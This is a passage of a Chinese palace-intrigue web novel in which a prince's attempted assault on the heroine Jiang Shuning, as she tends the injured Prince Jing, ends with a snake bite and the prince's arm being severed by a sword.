“姜姑娘,没想到你竟在此处!”萧修湛嘴角勾起一抹意味深长的笑。 姜姝宁不慌不忙地起身,敛衽行礼:“臣女见过三皇子殿下。” “姜姑娘无需多礼。”萧修湛上前一步,伸手扶起她,笑意中透着几分暧昧,“一个未出阁的女子,日日守在画舫照料我四弟,怕是于礼不合吧?” 姜姝宁想不着痕迹地避开他的触碰,却发现挣不开。 她心中厌恶如潮,却强压情绪,轻声道:“三皇子殿下言重了。景王殿下为救臣女身受重伤,臣女自当尽心照料,以报恩情。殿下既来探望,不如坐下,臣女为殿下奉一壶茶如何?” 她故意放缓语调,暗自盘算如何拖延时间,待凌芜搬来救兵。 萧修湛眼中闪过一丝异样的光彩,哈哈一笑:“好啊!当初在慈宁宫中品过姜姑娘的烹煮的茶,那味道至今念念不忘,今日定要再领教一番!” 姜姝宁不动声色地抽回手,转身走向茶案,背对萧修湛时,眼中闪过一抹冷意。 她动作轻缓地烹茶,耳边却捕捉到萧修湛贴身侍卫低声催促的细语,似在提醒他尽快对萧凌川下手。 萧修湛的目光落在床榻上昏迷不醒的萧凌川,嗤笑出声,语气中满是嘲讽:“我这四弟何时变得如此脆弱?瞧这模样,怕是离黄泉不远了吧?姜姑娘,他伤得可重?” 姜姝宁倒茶的手微微一顿,语气淡然却暗藏机锋:“殿下多虑了。景王服用的不过是安神之药,睡得沉些罢了。府医已诊治过,言明王爷身子无大碍,不日便可痊愈。” 她故意轻描淡写,以防萧修湛趁机对萧凌川下毒手。 萧修湛眼中闪过一丝阴鸷,显然不信她的话,语气陡然冷下:“哦?四弟伤势不重?看起来不像啊!姜姑娘,你该不会骗我的吧?” 姜姝宁心头一紧,故意转身冷冷看向他身后的侍卫,语气不卑不亢:“臣女所言句句属实。不过,殿下若真心探望王爷,还请遣退这些侍卫。暖阁狭小,如此多人,恐扰了王爷清静。” 萧修湛眯起眼,意味深长地盯着她,忽而挥手制止欲开口的侍卫,脸上浮起一丝意味不明的笑意:“也罢,既然四弟在休养,确实不宜人多嘈杂。你们,退下!” 侍卫们面面相觑,犹豫片刻后,躬身退出暖阁。 偌大的暖阁内,只剩萧修湛、姜姝宁,以及躺在床榻上、气息微弱的萧凌川。 萧修湛端起姜姝宁奉上的茶盏,轻啜一口:“姜姑娘的茶艺果然非凡,汤色清香,回味无穷。本皇子甚是欢喜!” “三皇子殿下谬赞。若是喜欢,还请多喝一些。” “只在这里喝可不够啊!”萧修湛笑得暧昧,“麟阁宫正缺一位茶艺精湛的佳人,姜姑娘若肯屈就妾室之位,定能与本皇子共创佳话。不知意下如何?” 姜姝宁闻言,脸色骤变。 她强压怒火,冷声道:“殿下请自重!臣女早已言明,此生不嫁,更遑论为妾!” “哦?如此决绝?”萧修湛笑容渐冷,眼中闪过一抹狰狞。 他猛地起身,一把扣住她的手腕,力道之大几乎要捏碎她的骨头,语气低沉而危险,“姜姑娘既敬酒不吃,那就莫怪本皇子用强,让你不得不从!” 姜姝宁心头大骇,下意识想袖弩反击,却又顾忌守在门外的侍卫,怕他借机发难,趁乱对萧凌川下手。 她强忍恐惧,压低声音道:“殿下慎言!此等动静,恐惊扰王爷!” 萧修湛狂笑出声,眼中尽是肆无忌惮的疯狂:“惊扰?本皇子偏要赌一赌,看看我与姜姑娘‘成事’之时,我那四弟能否醒来!” 他猛地将她拽起,一把甩向萧凌川身旁的床榻,狞笑道,“姜姑娘,在四弟身侧做这等事,是否格外刺激?” 姜姝宁佯装惊慌失措,泪光盈盈:“殿下,求您住手!” 暗中却悄悄探向袖中,握住藏匿的袖弩,脑中飞速盘算如何一击制敌,又不惊动门外侍卫。 不如,直接击中他的嘴巴,让他发不出声? 萧修湛见她梨花带雨的模样,愈发兴奋,猛地扑向她。 就在此刻,姜姝宁袖中的小白蛇如闪电般窜出,狠狠咬向他的手臂。 萧修湛吃痛,怒吼一声,尚未反应过来,原本一动不动的萧凌川竟猛地睁眼,眼中寒光爆绽。 他抓起枕边长剑,剑光如匹练般斩下! “啊——”萧修湛惨叫声响彻暖阁,手臂应声断落,鲜血喷涌,瞬间染红了床榻与地面……